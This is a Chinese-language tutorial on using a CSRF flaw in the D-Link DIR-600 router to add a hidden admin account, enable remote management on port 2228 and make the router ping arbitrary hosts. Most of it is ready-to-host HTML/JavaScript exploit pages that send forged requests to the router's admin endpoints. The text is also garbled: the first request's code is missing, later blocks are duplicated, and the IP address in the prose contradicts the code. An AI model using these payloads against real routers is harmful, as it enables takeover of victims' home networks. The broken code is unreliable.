本文介绍了使用CSRF漏洞攻击D-link路由器全过程,主要目的是如何通过CSRF漏洞实现远程管理访问D-link路由器,需要的朋友可以参考下... 14-04-25...
1，介绍
本文的目的是展示csrf漏洞的危害，以d-link的dir-600路由器（硬件版本：bx，固件版本：2.16）的csrf漏洞为例。
d-link的csrf漏洞已经是公开的，本文将详细描述一下整个d-link csrf漏洞的利用，如何通过csrf漏洞实现远程管理访问d-link路由器。
2，csrf漏洞说明
如果某些request请求中没有csrf token或不需要密码授权，会存在csrf漏洞，该漏洞允许攻击者伪造登录用户发送请求，因此可以导致用户执行攻击者想要的操作请求。
通过d-link 管理面板的csrf漏洞，攻击者可以做以下操作：
@1，添加一个新的管理帐号；
@2，启用路由器的远程管理；
@3，ping特定的机器；此操作只需要登录路由器就可以实现，需要知道路由器的wan ip地址。
3，part1:给路由器增加一个新的管理帐号
需要两个request请求来完成
request1:
复制代码
代码如下:<html>

request2:
复制代码
代码如下:<html>
<body>
<script>
function submitrequest()
{
var xhr = new xmlhttprequest();
xhr.open("post", "http://192.168.0.1/pigwidgeon.cgi", true);

xhr.setrequestheader("accept-language", "en-us,en;q=0.5");
xhr.setrequestheader("content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.withcredentials = "true";
var body = "actions=setcfg%2csave%2cactivate";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="submit request2" onclick="submitrequest();" />
</form>
</body>
</html>
<body>
<script>
function submitrequest()
{
var xhr = new xmlhttprequest();
xhr.open("post", "http://192.168.0.1/pigwidgeon.cgi", true);
xhr.setrequestheader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setrequestheader("accept-language", "en-us,en;q=0.5");
xhr.setrequestheader("content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.withcredentials = "true";
var body = "actions=setcfg%2csave%2cactivate";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="submit request2" onclick="submitrequest();" />
</form>
</body>
</html>
request1和request2中，默认的路由局域网ip地址是192.198.0.1,管理帐号是admin,request1中的request请求中，当密码字段为==ooxxggyy==的时候，是不会修改admin帐号的密码的。这两个请求完成了管理帐号admin2的添加，同时启用了远程管理端口2228.
part2：ping特定的主机
request3:
复制代码
代码如下:<html>
<body>
<script>
function submitrequest()
{
var xhr = new xmlhttprequest();
xhr.open("post", "http://192.168.0.1/diagnostic.php", true);
xhr.setrequestheader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setrequestheader("accept-language", "en-us,en;q=0.5");
xhr.setrequestheader("content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.withcredentials = "true";
var body = "act=ping&dst=x.y.z.w";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="submit request3" onclick="submitrequest();" />
</form>
</body>
</html>
<body>
<script>
function submitrequest()
{
var xhr = new xmlhttprequest();
xhr.open("post", "http://192.168.0.1/diagnostic.php", true);
xhr.setrequestheader("accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setrequestheader("accept-language", "en-us,en;q=0.5");
xhr.setrequestheader("content-type", "application/x-www-form-urlencoded; charset=utf-8");
xhr.withcredentials = "true";
var body = "act=ping&dst=x.y.z.w";
xhr.send(body);
}
</script>
<form action="#">
<input type="button" value="submit request3" onclick="submitrequest();" />
</form>
</body>
</html>
只需要求该代码中的x.y.z.w为你需要ping的主机ip地址就可以。
